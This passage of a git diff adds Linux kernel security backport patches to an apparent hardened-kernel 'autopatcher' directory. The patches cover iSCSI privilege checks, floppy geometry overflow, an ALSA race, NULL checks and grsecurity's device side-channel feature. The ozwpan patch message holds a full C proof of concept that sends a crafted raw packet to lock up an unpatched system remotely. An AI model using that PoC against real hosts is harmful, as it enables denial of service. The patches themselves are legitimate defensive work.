revalidate called on non-open device.\n")) + return -EFAULT; + +- lock_fdc(drive, false); ++ res = lock_fdc(drive); ++ if (res) ++ return res; + cf = (test_bit(FD_DISK_CHANGED_BIT, &UDRS->flags) || + test_bit(FD_VERIFY_BIT, &UDRS->flags)); + if (!(cf || test_bit(drive, &fake_change) || drive_no_geom(drive))) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0627-688e8128b7a9-scsi iscsi Restrict sessions and handles to admin capabilities.patch b/recipes-kernel/linux/linux-bass/autopatcher/0627-688e8128b7a9-scsi iscsi Restrict sessions and handles to admin capabilities.patch new file mode 100644 index 0000000..7f5aefb --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0627-688e8128b7a9-scsi iscsi Restrict sessions and handles to admin capabilities.patch @@ -0,0 +1,47 @@ +From 688e8128b7a92df982709a4137ea4588d16f24aa Mon Sep 17 00:00:00 2001 +From: Lee Duncan +Date: Tue, 23 Feb 2021 13:06:24 -0800 +Subject: scsi: iscsi: Restrict sessions and handles to admin capabilities + +Protect the iSCSI transport handle, available in sysfs, by requiring +CAP_SYS_ADMIN to read it. Also protect the netlink socket by restricting +reception of messages to ones sent with CAP_SYS_ADMIN. This disables +normal users from being able to end arbitrary iSCSI sessions. + +Cc: stable@vger.kernel.org +Reported-by: Adam Nichols +Reviewed-by: Chris Leech +Reviewed-by: Mike Christie +Signed-off-by: Lee Duncan +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/scsi_transport_iscsi.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/scsi/scsi_transport_iscsi.c b/drivers/scsi/scsi_transport_iscsi.c +index 969d24d580e29..69a1f55499ef9 100644 +--- a/drivers/scsi/scsi_transport_iscsi.c ++++ b/drivers/scsi/scsi_transport_iscsi.c +@@ -132,6 +132,9 @@ show_transport_handle(struct device *dev, struct device_attribute *attr, + char *buf) + { + struct iscsi_internal *priv = dev_to_iscsi_internal(dev); ++ ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EACCES; + return sprintf(buf, "%llu\n", (unsigned long long)iscsi_handle(priv->iscsi_transport)); + } + static DEVICE_ATTR(handle, S_IRUGO, show_transport_handle, NULL); +@@ -3621,6 +3624,9 @@ iscsi_if_recv_msg(struct sk_buff *skb, struct nlmsghdr *nlh, uint32_t *group) + struct iscsi_cls_conn *conn; + struct iscsi_endpoint *ep = NULL; + ++ if (!netlink_capable(skb, CAP_SYS_ADMIN)) ++ return -EPERM; ++ + if (nlh->nlmsg_type == ISCSI_UEVENT_PATH_UPDATE) + *group = ISCSI_NL_GRP_UIP; + else +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0628-cc7a0bb058b8-PCI rpadlpar Fix potential drcname corruption in store functions.patch b/recipes-kernel/linux/linux-bass/autopatcher/0628-cc7a0bb058b8-PCI rpadlpar Fix potential drcname corruption in store functions.patch new file mode 100644 index 0000000..f2a57a8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0628-cc7a0bb058b8-PCI rpadlpar Fix potential drcname corruption in store functions.patch @@ -0,0 +1,83 @@ +From cc7a0bb058b85ea03db87169c60c7cfdd5d34678 Mon Sep 17 00:00:00 2001 +From: Tyrel Datwyler +Date: Mon, 15 Mar 2021 15:48:21 -0600 +Subject: PCI: rpadlpar: Fix potential drc_name corruption in store functions +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Both add_slot_store() and remove_slot_store() try to fix up the +drc_name copied from the store buffer by placing a NUL terminator at +nbyte + 1 or in place of a '\n' if present. However, the static buffer +that we copy the drc_name data into is not zeroed and can contain +anything past the n-th byte. + +This is problematic if a '\n' byte appears in that buffer after nbytes +and the string copied into the store buffer was not NUL terminated to +start with as the strchr() search for a '\n' byte will mark this +incorrectly as the end of the drc_name string resulting in a drc_name +string that contains garbage data after the n-th byte. + +Additionally it will cause us to overwrite that '\n' byte on the stack +with NUL, potentially corrupting data on the stack. + +The following debugging shows an example of the drmgr utility writing +"PHB 4543" to the add_slot sysfs attribute, but add_slot_store() +logging a corrupted string value. + + drmgr: drmgr: -c phb -a -s PHB 4543 -d 1 + add_slot_store: drc_name = PHB 4543°|<82>!, rc = -19 + +Fix this by using strscpy() instead of memcpy() to ensure the string +is NUL terminated when copied into the static drc_name buffer. +Further, since the string is now NUL terminated the code only needs to +change '\n' to '\0' when present. + +Cc: stable@vger.kernel.org +Signed-off-by: Tyrel Datwyler +[mpe: Reformat change log and add mention of possible stack corruption] +Signed-off-by: Michael Ellerman +Link: https://lore.kernel.org/r/20210315214821.452959-1-tyreld@linux.ibm.com +--- + drivers/pci/hotplug/rpadlpar_sysfs.c | 14 ++++++-------- + 1 file changed, 6 insertions(+), 8 deletions(-) + +diff --git a/drivers/pci/hotplug/rpadlpar_sysfs.c b/drivers/pci/hotplug/rpadlpar_sysfs.c +index cdbfa5df3a51f..dbfa0b55d31a5 100644 +--- a/drivers/pci/hotplug/rpadlpar_sysfs.c ++++ b/drivers/pci/hotplug/rpadlpar_sysfs.c +@@ -34,12 +34,11 @@ static ssize_t add_slot_store(struct kobject *kobj, struct kobj_attribute *attr, + if (nbytes >= MAX_DRC_NAME_LEN) + return 0; + +- memcpy(drc_name, buf, nbytes); ++ strscpy(drc_name, buf, nbytes + 1); + + end = strchr(drc_name, '\n'); +- if (!end) +- end = &drc_name[nbytes]; +- *end = '\0'; ++ if (end) ++ *end = '\0'; + + rc = dlpar_add_slot(drc_name); + if (rc) +@@ -65,12 +64,11 @@ static ssize_t remove_slot_store(struct kobject *kobj, + if (nbytes >= MAX_DRC_NAME_LEN) + return 0; + +- memcpy(drc_name, buf, nbytes); ++ strscpy(drc_name, buf, nbytes + 1); + + end = strchr(drc_name, '\n'); +- if (!end) +- end = &drc_name[nbytes]; +- *end = '\0'; ++ if (end) ++ *end = '\0'; + + rc = dlpar_remove_slot(drc_name); + if (rc) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0629-e3665748e6ff-PATCH wcnss add null check in pmops unregister.patch b/recipes-kernel/linux/linux-bass/autopatcher/0629-e3665748e6ff-PATCH wcnss add null check in pmops unregister.patch new file mode 100644 index 0000000..50d4019 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0629-e3665748e6ff-PATCH wcnss add null check in pmops unregister.patch @@ -0,0 +1,35 @@ +From e3665748e6ff6b9514a54f6341583afa88511682 Mon Sep 17 00:00:00 2001 +From: Pradeep Kumar Goudagunta +Date: Fri, 25 Jul 2014 11:41:19 +0530 +Subject: [PATCH] wcnss: add null check in pm_ops unregister + +Add null check for pm_ops in pm_ops unregister to avoid +null pointer dereference. + +Change-Id: Ifdad0a0fecc9b8cd97910e4f491ee08ae4a58483 +CRs-Fixed: 690191 +Signed-off-by: Pradeep Kumar Goudagunta +--- + drivers/net/wireless/wcnss/wcnss_wlan.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c +index 15e79d5..db09d02 100644 +--- a/drivers/net/wireless/wcnss/wcnss_wlan.c ++++ b/drivers/net/wireless/wcnss/wcnss_wlan.c +@@ -1409,6 +1409,12 @@ void wcnss_wlan_unregister_pm_ops(struct device *dev, + const struct dev_pm_ops *pm_ops) + { + if (penv && dev && (dev == &penv->pdev->dev) && pm_ops) { ++ if (penv->pm_ops == NULL) { ++ pr_err("%s: pm_ops is already unregistered.\n", ++ __func__); ++ return; ++ } ++ + if (pm_ops->suspend != penv->pm_ops->suspend || + pm_ops->resume != penv->pm_ops->resume) + pr_err("PM APIs dont match with registered APIs\n"); +-- +1.8.2.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0630-17780bbb7383-PATCH cnss Add NULL check for PM related APIs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0630-17780bbb7383-PATCH cnss Add NULL check for PM related APIs.patch new file mode 100644 index 0000000..9fbe50f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0630-17780bbb7383-PATCH cnss Add NULL check for PM related APIs.patch @@ -0,0 +1,46 @@ +From 17780bbb73835b31b44a00221828e7adec04fb8b Mon Sep 17 00:00:00 2001 +From: Yue Ma +Date: Mon, 17 Nov 2014 16:16:16 -0800 +Subject: [PATCH] cnss: Add NULL check for PM related APIs + +Since CMSS PM related APIs can be called at very early stage of WLAN +driver loading, add NULL check for them to avoid crashes if PCIe +enumeration fails which makes the penv variable as NULL. + +Change-Id: I7c5e67cb1583b48b24ec04df21e482f4885d2e42 +CRs-fixed: 758267 +Signed-off-by: Yue Ma +--- + drivers/net/wireless/cnss/cnss.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/net/wireless/cnss/cnss.c b/drivers/net/wireless/cnss/cnss.c +index f73e64d..c931722 100644 +--- a/drivers/net/wireless/cnss/cnss.c ++++ b/drivers/net/wireless/cnss/cnss.c +@@ -2518,12 +2518,22 @@ static void __exit cnss_exit(void) + + void cnss_request_pm_qos(u32 qos_val) + { ++ if (!penv) { ++ pr_err("%s: penv is NULL!\n", __func__); ++ return; ++ } ++ + pm_qos_add_request(&penv->qos_request, PM_QOS_CPU_DMA_LATENCY, qos_val); + } + EXPORT_SYMBOL(cnss_request_pm_qos); + + void cnss_remove_pm_qos(void) + { ++ if (!penv) { ++ pr_err("%s: penv is NULL!\n", __func__); ++ return; ++ } ++ + pm_qos_remove_request(&penv->qos_request); + } + EXPORT_SYMBOL(cnss_remove_pm_qos); +-- +1.8.2.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0631-3c6cf88d206c-PATCH port of grsecuritys DEVICESIDECHANNEL feature.patch b/recipes-kernel/linux/linux-bass/autopatcher/0631-3c6cf88d206c-PATCH port of grsecuritys DEVICESIDECHANNEL feature.patch new file mode 100644 index 0000000..1a9d021 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0631-3c6cf88d206c-PATCH port of grsecuritys DEVICESIDECHANNEL feature.patch @@ -0,0 +1,145 @@ +From 3c6cf88d206cae0564f53cfcf7eb4c3eb6bd348e Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 23 Jun 2016 17:05:09 -0400 +Subject: [PATCH] port of grsecurity's DEVICE_SIDECHANNEL feature + +--- + fs/stat.c | 19 +++++++++++++++---- + include/linux/capability.h | 2 ++ + include/linux/fs.h | 6 ++++++ + include/linux/fsnotify.h | 6 ++++++ + kernel/capability.c | 21 +++++++++++++++++++++ + 5 files changed, 50 insertions(+), 4 deletions(-) + +diff --git a/fs/stat.c b/fs/stat.c +index d0ea7ef75e2..f463f9d60f2 100644 +--- a/fs/stat.c ++++ b/fs/stat.c +@@ -28,8 +28,13 @@ void generic_fillattr(struct inode *inode, struct kstat *stat) + stat->gid = inode->i_gid; + stat->rdev = inode->i_rdev; + stat->size = i_size_read(inode); +- stat->atime = inode->i_atime; +- stat->mtime = inode->i_mtime; ++ if (is_sidechannel_device(inode) && !capable_nolog(CAP_MKNOD)) { ++ stat->atime = inode->i_ctime; ++ stat->mtime = inode->i_ctime; ++ } else { ++ stat->atime = inode->i_atime; ++ stat->mtime = inode->i_mtime; ++ } + stat->ctime = inode->i_ctime; + stat->blksize = (1 << inode->i_blkbits); + stat->blocks = inode->i_blocks; +@@ -46,8 +51,14 @@ int vfs_getattr(struct path *path, struct kstat *stat) + if (retval) + return retval; + +- if (inode->i_op->getattr) +- return inode->i_op->getattr(path->mnt, path->dentry, stat); ++ if (inode->i_op->getattr) { ++ retval = inode->i_op->getattr(path->mnt, path->dentry, stat); ++ if (!retval && is_sidechannel_device(inode) && !capable_nolog(CAP_MKNOD)) { ++ stat->atime = stat->ctime; ++ stat->mtime = stat->ctime; ++ } ++ return retval; ++ } + + generic_fillattr(inode, stat); + return 0; +diff --git a/include/linux/capability.h b/include/linux/capability.h +index 9b4378af414..ac2b3f2009b 100644 +--- a/include/linux/capability.h ++++ b/include/linux/capability.h +@@ -212,7 +212,9 @@ extern bool has_capability_noaudit(struct task_struct *t, int cap); + extern bool has_ns_capability_noaudit(struct task_struct *t, + struct user_namespace *ns, int cap); + extern bool capable(int cap); ++extern bool capable_nolog(int cap); + extern bool ns_capable(struct user_namespace *ns, int cap); ++extern bool ns_capable_nolog(struct user_namespace *ns, int cap); + extern bool nsown_capable(int cap); + extern bool capable_wrt_inode_uidgid(const struct inode *inode, int cap); + extern bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap); +diff --git a/include/linux/fs.h b/include/linux/fs.h +index 01161958664..d60aa561427 100644 +--- a/include/linux/fs.h ++++ b/include/linux/fs.h +@@ -2732,4 +2732,10 @@ static inline void inode_has_no_xattr(struct inode *inode) + inode->i_flags |= S_NOSEC; + } + ++static inline bool is_sidechannel_device(const struct inode *inode) ++{ ++ umode_t mode = inode->i_mode; ++ return ((S_ISCHR(mode) || S_ISBLK(mode)) && (mode & (S_IROTH | S_IWOTH))); ++} ++ + #endif /* _LINUX_FS_H */ +diff --git a/include/linux/fsnotify.h b/include/linux/fsnotify.h +index 661c0aeef1c..d74614177a4 100644 +--- a/include/linux/fsnotify.h ++++ b/include/linux/fsnotify.h +@@ -197,6 +197,9 @@ static inline void fsnotify_access(struct file *file) + struct inode *inode = path->dentry->d_inode; + __u32 mask = FS_ACCESS; + ++ if (is_sidechannel_device(inode)) ++ return; ++ + if (S_ISDIR(inode->i_mode)) + mask |= FS_ISDIR; + +@@ -215,6 +218,9 @@ static inline void fsnotify_modify(struct file *file) + struct inode *inode = path->dentry->d_inode; + __u32 mask = FS_MODIFY; + ++ if (is_sidechannel_device(inode)) ++ return; ++ + if (S_ISDIR(inode->i_mode)) + mask |= FS_ISDIR; + +diff --git a/kernel/capability.c b/kernel/capability.c +index 1339806a873..5f7422c7eaf 100644 +--- a/kernel/capability.c ++++ b/kernel/capability.c +@@ -396,6 +396,21 @@ bool ns_capable(struct user_namespace *ns, int cap) + } + EXPORT_SYMBOL(ns_capable); + ++bool ns_capable_nolog(struct user_namespace *ns, int cap) ++{ ++ if (unlikely(!cap_valid(cap))) { ++ printk(KERN_CRIT "capable_nolog() called with invalid cap=%u\n", cap); ++ BUG(); ++ } ++ ++ if (security_capable_noaudit(current_cred(), ns, cap) == 0) { ++ current->flags |= PF_SUPERPRIV; ++ return true; ++ } ++ return false; ++} ++EXPORT_SYMBOL(ns_capable_nolog); ++ + /** + * file_ns_capable - Determine if the file's opener had a capability in effect + * @file: The file we want to check +@@ -436,6 +451,12 @@ bool capable(int cap) + } + EXPORT_SYMBOL(capable); + ++bool capable_nolog(int cap) ++{ ++ return ns_capable_nolog(&init_user_ns, cap); ++} ++EXPORT_SYMBOL(capable_nolog); ++ + /** + * nsown_capable - Check superior capability to one's own user_ns + * @cap: The capability in question +-- +2.15.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0632-1c9daa06f9ef-ozwpan unchecked signed subtraction leads to DoS.patch b/recipes-kernel/linux/linux-bass/autopatcher/0632-1c9daa06f9ef-ozwpan unchecked signed subtraction leads to DoS.patch new file mode 100644 index 0000000..19da1c2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0632-1c9daa06f9ef-ozwpan unchecked signed subtraction leads to DoS.patch @@ -0,0 +1,188 @@ +From 1c9daa06f9eff275bf2320a734db2bda9e3b1107 Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Fri, 29 May 2015 13:07:01 +0200 +Subject: ozwpan: unchecked signed subtraction leads to DoS + +commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. + +The subtraction here was using a signed integer and did not have any +bounds checking at all. This commit adds proper bounds checking, made +easy by use of an unsigned integer. This way, a single packet won't be +able to remotely trigger a massive loop, locking up the system for a +considerable amount of time. A PoC follows below, which requires +ozprotocol.h from this module. + +=-=-=-=-=-= + + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define u8 uint8_t + #define u16 uint16_t + #define u32 uint32_t + #define __packed __attribute__((__packed__)) + #include "ozprotocol.h" + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + struct oz_elt oz_elt2; + struct oz_multiple_fixed oz_multiple_fixed; + } __packed packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 0, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + }, + .oz_elt2 = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_multiple_fixed) - 3 + }, + .oz_multiple_fixed = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_USB_ENDPOINT_DATA, + .endpoint = 0, + .format = OZ_DATA_F_MULTIPLE_FIXED, + .unit_size = 1, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Signed-off-by: Greg Kroah-Hartman +--- + drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- + 1 file changed, 4 insertions(+), 3 deletions(-) + +diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c +index 6547e39d1d5a3..d4f55b08ef789 100644 +--- a/drivers/staging/ozwpan/ozusbsvc1.c ++++ b/drivers/staging/ozwpan/ozusbsvc1.c +@@ -314,10 +314,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, + struct oz_multiple_fixed *body = + (struct oz_multiple_fixed *)data_hdr; + u8 *data = body->data; +- int n; +- if (!body->unit_size) ++ unsigned int n; ++ if (!body->unit_size || ++ len < sizeof(struct oz_multiple_fixed) - 1) + break; +- n = (len - sizeof(struct oz_multiple_fixed)+1) ++ n = (len - (sizeof(struct oz_multiple_fixed) - 1)) + / body->unit_size; + while (n--) { + oz_hcd_data_ind(usb_ctx->hport, body->endpoint, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0633-874d38487a38-PATCH BACKPORT ALSA timer Fix race at concurrent reads.patch b/recipes-kernel/linux/linux-bass/autopatcher/0633-874d38487a38-PATCH BACKPORT ALSA timer Fix race at concurrent reads.patch new file mode 100644 index 0000000..409b27b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0633-874d38487a38-PATCH BACKPORT ALSA timer Fix race at concurrent reads.patch @@ -0,0 +1,97 @@ +From 874d38487a38a5ac09f4c459758a1276a1cd1c7a Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 8 Feb 2016 17:26:58 +0100 +Subject: [PATCH] BACKPORT: ALSA: timer: Fix race at concurrent reads + +snd_timer_user_read() has a potential race among parallel reads, as +qhead and qused are updated outside the critical section due to +copy_to_user() calls. Move them into the critical section, and also +sanitize the relevant code a bit. + +Bug: 37240993 +Change-Id: I7358a57638ef23eb7f97341eaee1f0dd4ba2795a +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Siqi Lin +(cherry picked from commit 4dff5c7b7093b19c19d3a100f8a3ad87cb7cd9e7) +--- + sound/core/timer.c | 34 +++++++++++++++------------------- + 1 file changed, 15 insertions(+), 19 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 11ff502c3da60..539e8bdb5b6c5 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1907,6 +1907,7 @@ static ssize_t snd_timer_user_read(struct file *file, char __user *buffer, + { + struct snd_timer_user *tu; + long result = 0, unit; ++ int qhead; + int err = 0; + + tu = file->private_data; +@@ -1919,7 +1920,7 @@ static ssize_t snd_timer_user_read(struct file *file, char __user *buffer, + + if ((file->f_flags & O_NONBLOCK) != 0 || result > 0) { + err = -EAGAIN; +- break; ++ goto _error; + } + + set_current_state(TASK_INTERRUPTIBLE); +@@ -1936,42 +1937,37 @@ static ssize_t snd_timer_user_read(struct file *file, char __user *buffer, + + if (tu->disconnected) { + err = -ENODEV; +- break; ++ goto _error; + } + if (signal_pending(current)) { + err = -ERESTARTSYS; +- break; ++ goto _error; + } + } + ++ qhead = tu->qhead++; ++ tu->qhead %= tu->queue_size; + spin_unlock_irq(&tu->qlock); +- if (err < 0) +- goto _error; + + if (tu->tread) { +- if (copy_to_user(buffer, &tu->tqueue[tu->qhead++], +- sizeof(struct snd_timer_tread))) { ++ if (copy_to_user(buffer, &tu->tqueue[qhead], ++ sizeof(struct snd_timer_tread))) + err = -EFAULT; +- goto _error; +- } + } else { +- if (copy_to_user(buffer, &tu->queue[tu->qhead++], +- sizeof(struct snd_timer_read))) { ++ if (copy_to_user(buffer, &tu->queue[qhead], ++ sizeof(struct snd_timer_read))) + err = -EFAULT; +- goto _error; +- } + } + +- tu->qhead %= tu->queue_size; +- +- result += unit; +- buffer += unit; +- + spin_lock_irq(&tu->qlock); + tu->qused--; ++ if (err < 0) ++ goto _error; ++ result += unit; ++ buffer += unit; + } +- spin_unlock_irq(&tu->qlock); + _error: ++ spin_unlock_irq(&tu->qlock); + mutex_unlock(&tu->ioctl_lock); + return result > 0 ? result : err; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0634-da99466ac243-floppy fix outofbounds read in copybuffer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0634-da99466ac243-floppy fix outofbounds read in copybuffer.patch new file mode 100644 index 0000000..832e8d9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0634-da99466ac243-floppy fix outofbounds read in copybuffer.patch @@ -0,0 +1,49 @@ +From da99466ac243f15fbba65bd261bfc75ffa1532b6 Mon Sep 17 00:00:00 2001 +From: Denis Efremov +Date: Fri, 12 Jul 2019 21:55:23 +0300 +Subject: floppy: fix out-of-bounds read in copy_buffer + +This fixes a global out-of-bounds read access in the copy_buffer +function of the floppy driver. + +The FDDEFPRM ioctl allows one to set the geometry of a disk. The sect +and head fields (unsigned int) of the floppy_drive structure are used to +compute the max_sector (int) in the make_raw_rw_request function. It is +possible to overflow the max_sector. Next, max_sector is passed to the +copy_buffer function and used in one of the memcpy calls. + +An unprivileged user could trigger the bug if the device is accessible, +but requires a floppy disk to be inserted. + +The patch adds the check for the .sect * .head multiplication for not +overflowing in the set_geometry function. + +The bug was found by syzkaller. + +Signed-off-by: Denis Efremov +Tested-by: Willy Tarreau +Signed-off-by: Linus Torvalds +--- + drivers/block/floppy.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index 671a0ae434b43..fee57f7f3821b 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -3233,8 +3233,10 @@ static int set_geometry(unsigned int cmd, struct floppy_struct *g, + int cnt; + + /* sanity checking for parameters. */ +- if (g->sect <= 0 || +- g->head <= 0 || ++ if ((int)g->sect <= 0 || ++ (int)g->head <= 0 || ++ /* check for overflow in max_sector */ ++ (int)(g->sect * g->head) <= 0 || + /* check for zero in F_SECT_PER_TRACK */ + (unsigned char)((g->sect << 2) >> FD_SIZECODE(g)) == 0 || + g->track <= 0 || g->track > UDP->tracks >> STRETCH(g) || +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0635-6f3ef5c25cc7-wimax i2400 Fix memory leak in i2400moprfkillswtoggle.patch b/recipes-kernel/linux/linux-bass/autopatcher/0635-6f3ef5c25cc7-wimax i2400 Fix memory leak in i2400moprfkillswtoggle.patch new file mode 100644 index 0000000..f824667 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0635-6f3ef5c25cc7-wimax i2400 Fix memory leak in i2400moprfkillswtoggle.patch @@ -0,0 +1,39 @@ +From 6f3ef5c25cc762687a7341c18cbea5af54461407 Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Fri, 25 Oct 2019 23:53:30 -0500 +Subject: wimax: i2400: Fix memory leak in i2400m_op_rfkill_sw_toggle + +In the implementation of i2400m_op_rfkill_sw_toggle() the allocated +buffer for cmd should be released before returning. The +documentation for i2400m_msg_to_dev() says when it returns the buffer +can be reused. Meaning cmd should be released in either case. Move +kfree(cmd) before return to be reached by all execution paths. + +Fixes: 2507e6ab7a9a ("wimax: i2400: fix memory leak") +Signed-off-by: Navid Emamdoost +Signed-off-by: David S. Miller +--- + drivers/net/wimax/i2400m/op-rfkill.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/wimax/i2400m/op-rfkill.c b/drivers/net/wimax/i2400m/op-rfkill.c +index 8efb493ceec2f..5c79f052cad20 100644 +--- a/drivers/net/wimax/i2400m/op-rfkill.c ++++ b/drivers/net/wimax/i2400m/op-rfkill.c +@@ -127,12 +127,12 @@ int i2400m_op_rfkill_sw_toggle(struct wimax_dev *wimax_dev, + "%d\n", result); + result = 0; + error_cmd: +- kfree(cmd); + kfree_skb(ack_skb); + error_msg_to_dev: + error_alloc: + d_fnend(4, dev, "(wimax_dev %p state %d) = %d\n", + wimax_dev, state, result); ++ kfree(cmd); + return result; + } + +-- +cgit 1.2.3-1.el7 +